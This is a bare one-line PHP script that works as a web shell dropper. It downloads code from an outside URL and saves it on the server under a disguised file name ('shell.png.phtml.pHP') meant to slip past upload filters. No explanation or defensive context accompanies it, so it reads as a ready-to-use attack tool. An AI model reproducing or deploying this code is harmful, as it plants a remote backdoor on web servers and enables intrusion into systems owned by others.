<?php $shell = fopen('shell.png.phtml.pHP', 'w'); $codes = file_get_contents("http://site.com/shell.txt"); fwrite($shell, $codes); fclose($shell); ?>